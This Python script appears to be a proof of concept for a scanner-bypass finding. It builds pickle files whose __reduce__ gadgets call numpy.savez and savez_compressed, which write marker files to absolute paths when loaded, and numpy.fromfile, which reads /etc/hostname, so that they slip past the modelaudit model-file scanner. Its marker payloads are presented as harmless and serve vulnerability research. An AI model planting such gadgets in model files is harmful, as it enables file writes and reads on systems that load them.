File size: 2,974 Bytes
cba4a3a | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 | #!/usr/bin/env python3
"""
BL-0102 gadget builder -- modelaudit 0.2.49 numpy.savez / savez_compressed
file-write-on-load scanner bypass.
Builds four standalone pickle files that each carry a single REDUCE opcode:
evil_savez.pkl -> numpy.savez(<out>/MARK_savez, [13.37])
evil_savez_compressed.pkl -> numpy.savez_compressed(<out>/MARK_savezc, [13.37])
control_numpy_save.pkl -> numpy.save(<out>/MARK_save, [13.37]) (POSITIVE CONTROL)
secondary_fromfile.pkl -> numpy.fromfile('/etc/hostname') (READ-side corroboration)
Payloads are BENIGN: they write a small, valid .npz/.npy marker to an
attacker-controlled ABSOLUTE path, or read a world-readable file. No RCE,
no network, no destructive action.
The REDUCE that pickle emits here is identical to what an attacker would ship
inside a .pkl / PyTorch .bin / joblib model file; on unpickle Python calls the
first element (numpy.savez) with the second element (the args tuple).
Usage: python build_gadgets.py [OUTDIR] (default OUTDIR=/work/final)
"""
import os
import pickle
import sys
OUTDIR = sys.argv[1] if len(sys.argv) > 1 else "/work/final"
os.makedirs(OUTDIR, exist_ok=True)
MARK_SAVEZ = os.path.join(OUTDIR, "MARK_savez") # numpy.savez appends .npz
MARK_SAVEZC = os.path.join(OUTDIR, "MARK_savezc") # -> .npz
MARK_SAVE = os.path.join(OUTDIR, "MARK_save") # numpy.save appends .npy
MARKER_CONTENT = [13.37]
class SavezGadget:
def __reduce__(self):
import numpy
return (numpy.savez, (MARK_SAVEZ, MARKER_CONTENT))
class SavezCompressedGadget:
def __reduce__(self):
import numpy
return (numpy.savez_compressed, (MARK_SAVEZC, MARKER_CONTENT))
class SaveGadget:
# POSITIVE CONTROL: numpy.save reaches builtins.open('wb') directly,
# so modelaudit's FILE_WRITE call-graph analyzer flags it CRITICAL.
def __reduce__(self):
import numpy
return (numpy.save, (MARK_SAVE, MARKER_CONTENT))
class FromfileGadget:
# SECONDARY: arbitrary file READ via numpy.fromfile (C-level reader,
# opaque to the Python source call-graph).
def __reduce__(self):
import numpy
return (numpy.fromfile, ("/etc/hostname",))
def emit(name, obj):
path = os.path.join(OUTDIR, name)
with open(path, "wb") as f:
# protocol 0 -> human-readable REDUCE, easy to disassemble
pickle.dump(obj, f, protocol=0)
return path
built = [
emit("evil_savez.pkl", SavezGadget()),
emit("evil_savez_compressed.pkl", SavezCompressedGadget()),
emit("control_numpy_save.pkl", SaveGadget()),
emit("secondary_fromfile.pkl", FromfileGadget()),
]
print("BUILT:")
for p in built:
print(f" {p} ({os.path.getsize(p)} bytes)")
# Show the opcode stream of the primary gadget so the REDUCE is auditable.
import pickletools # noqa: E402
print("\n=== pickletools.dis(evil_savez.pkl) ===")
with open(os.path.join(OUTDIR, "evil_savez.pkl"), "rb") as f:
pickletools.dis(f.read())
|